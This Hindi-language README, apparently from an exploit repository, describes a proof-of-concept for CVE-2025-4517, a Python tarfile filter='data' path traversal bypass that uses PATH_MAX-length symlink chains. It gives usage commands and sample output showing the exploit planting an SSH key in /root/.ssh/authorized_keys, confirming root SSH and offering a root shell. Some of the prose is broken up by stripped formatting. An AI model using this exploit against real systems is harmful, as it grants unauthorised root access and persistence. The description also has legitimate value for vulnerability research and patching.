
CVE-2025-4517 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, Python के tarfile filter='data' सैंडबॉक्स में एक पाथ ट्रैवर्सल भेद्यता, क्राफ्टेड सिमलिंक श्रृंखलाओं के माध्यम से निष्कर्षण निर्देशिका के बाहर मनमानी फ़ाइल लेखन सक्षम करता है।
Python के
tarfileमॉड्यूल में पथ ट्रैवर्सल भेद्यता जो संस्करण 3.8.0 से 3.13.1 को प्रभावित करती है।filter="data"सैंडबॉक्स — जो असुरक्षित निष्कर्षण को रोकने के लिए बनाया गया है — कोPATH_MAX(4096 बाइट्स) से अधिक पथ बनाकर बायपास किया जा सकता है, जिससेos.path.realpath()चुपचाप सिमलिंक को हल करना बंद कर देता है। सुरक्षा जाँच एक सुरक्षित-दिखने वाला पथ देखती है जबकि कर्नेल वास्तविक पथ को हल करता है, जिससे निष्कर्षण निर्देशिका के बाहर लिखने की अनुमति मिलती है। यह PoC बायपास का दुरुपयोग करके/root/.ssh/authorized_keysमें एक SSH पब्लिक की लिखता है।
PATH_MAX से आगे धकेलता है।filter="data" प्रत्येक पथ को मान्य करने के लिए os.path.realpath() को कॉल करता है — लेकिन PATH_MAX पर यह हल करना बंद कर देता है और पथ को स्टेजिंग निर्देशिका के अंदर ही देखता है। जाँच पास हो जाती है।/root/.ssh/authorized_keys में पहुँचती है।ssh-keygen उपलब्ध हो (या -k के साथ अपनी स्वयं की पब्लिक की प्रदान करें)sudo अधिकार# स्वचालित रूप से एक नई कुंजी जोड़ी उत्पन्न करें
python3 exploit.py
# मौजूदा पब्लिक की का उपयोग करें
python3 exploit.py -k ~/.ssh/id_ed25519.pub
उदाहरण:
$ python3 exploit.py
[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================
[?] Open root shell now? (y/n):